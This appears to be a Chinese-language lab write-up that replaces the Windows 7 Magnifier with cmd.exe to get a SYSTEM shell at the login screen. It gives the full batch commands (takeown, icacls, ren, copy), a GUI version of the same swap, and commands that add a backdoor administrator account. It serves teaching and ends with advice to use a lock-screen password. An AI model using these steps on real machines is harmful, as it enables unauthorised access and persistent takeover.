利用 “轻松访问” 轻松创建Windows后门

1. 实验概述

（1）实验环境：

win7虚拟机；

（2）实验描述：

打开win7虚拟机就可以看到左下角有个轻松访问的标志，这里面有六个应用，分别是讲述人，放大镜，高对比度，屏幕键盘，粘滞键，筛选键。这六个应用在不用登录电脑账号和密码的情况下就可以直接使用。这个设计是为了让计算机更方便使用。但是在方便使用的时候，也容易被别人留个后门；如果说这六个应用中的一个被别人暗中替换掉了，那就可以实现在不知道账户和密码的情况下，对电脑进行相应的操作。在本次实验中，将给大家简单介绍一下怎么利用“轻松访问”轻松的创建Windows后门；

（3）实验原理：

利用win7登录账户界面中的 “轻松访问” 中的程序（本次实验是放大镜）,把它替换为cmd.exe程序,实现在不登录的情况下打开cmd命令提示符（系统管理员权限）,并进行一些操作，在计算机上留个后门。

2. 实验过程

方式一：命令行的模式（脚本）写后门

（1）登录账户之前，有个轻松访问，左下角标识

（2）我们的实验就是通过这里的轻松访问设置后门（本次实验是在放大镜上设置后门（将放大镜——>变为cmd命令行））；

（3）打开记事本，输入如下的命令（蓝色字体）：

切换目录到c:\windows\system32；

cd c:\windows\system32

更改文件名为magnify.exe的所有者为当前用户；

takeown /f magnify.exe

将当前用户所在的组（管理员组）赋予完全访问权限；

icacls magnify.exe /grant administrators:F

将可执行文件magnify.exe更名为magnify_back.exe；

ren magnify.exe magnify_back.exe

将cmd.exe复制并更名为magnify.exe；

copy cmd.exe magnify.exe

（4）保存写好的记事本文件为back.bat,并且保存文件的类型为所有文件。

（5）这时候，就可以看到保存好的back.bat文件了。

（6）打开刚刚建立的文件back.bat，点击鼠标右键---->以管理员身份运行--à出现如下类似的窗口（我这是加入了域，如果没有加域的话，直接点击是就可以了，加域的话需要输入用户名和密码）

（7）之后屏幕会闪烁一下，就说明这个后门已经搞好了，接下来，就是测试一下这个后门是否能够成功。

（8）重新启动电脑，可以看到如下界面，可以看到左下角的那个标识——轻松访问。

（9）点击左下角标识，我们可以看到如下界面呈现的页面，因为我们的后门是对放大镜程序做了更改，将放大镜直接更改为以管理员运行的cmd命令操作行，所以，我们点击放大镜，就可以直接进入cmd。

（10）系统在没有输入用户名和密码的情况下，弹出了cmd命令行界面，而且是system权限。

（11）接下来，我们就可以通过这个命令行界面去创建账户，输入如下的命令；

创建一个新的账户：账户名为newuser，密码为：123.com；

net user newuser 123.com /add

将新创建的用户newuser加入到管理员组中；赋予管理员的权限

net localgroup administrators /add newuser

通过创建的账户名和密码，我们以后登录电脑就可以采用我们创建的账户登录。不需要知道原来的账户和密码。

（12）关闭这个窗口，尝试登录系统，就可以成功登录进去了（注意：因为我的电脑加入了域，所有需要输入前面的主机名，如果没有加域的话，就只需要输入newuser即可）

方式二：图像化的方式创建后门

（1）进入c:\windows\system32,找到mangify.exe,将他更名为：mangify_back.exe，此时发现无法更名，需要我们去更改权限。

（2）点击mangify.exe右键-- 安全--高级--所有者---将所有者改为本机登录的账户

（3）由于本机登录的账户是普通用户，所有我们更改普通用户的权限，将其改为完全控制

（4）查看users的权限，可以看到权限是完全控制。

（5）然后我们将mangify.exe,将他更名为：mangify_back.exe，然后将cmd.exe复制一份并改名为mangify.exe，让系统将cmd.exe认为是mangify.exe。

（6）（如上）重新启动电脑，可以看到如下界面，可以看到左下角的那个标识。

（7）点击左下角标识，我们可以看到如下界面呈现的页面，因为我们的后门是对放大镜程序做了更改，将放大镜直接更改为以管理员运行的cmd命令操作行，所以，我们点击放大镜，就可以直接进入cmd。

（8）系统在没有输入用户名和密码的情况下，弹出了cmd命令行界面，而且是system权限。

（9）接下来，我们就可以通过这个命令行界面去创建账户，输入如下的命令；

创建一个新的账户：账户名为newuser，密码为：123.com；

net user newuser 123.com /add

将新创建的用户newuser加入到管理员组中；赋予管理员的权限

net localgroup administrators /add newuser

通过创建的账户名和密码，我们以后登录电脑就可以采用我们创建的账户登录。不需要知道原来的账户和密码。

（10）关闭这个窗口，尝试登录系统，就可以成功登录进去了（注意：因为我的电脑加入了域，所有需要输入前面的主机名，如果没有加域的话，就只需要输入newuser即可）

是不是很简单呢，大家可以进行尝试操作，还有就是，给自己的电脑增加锁屏密码很有必要，以防不注意被别人在电脑上留个后门。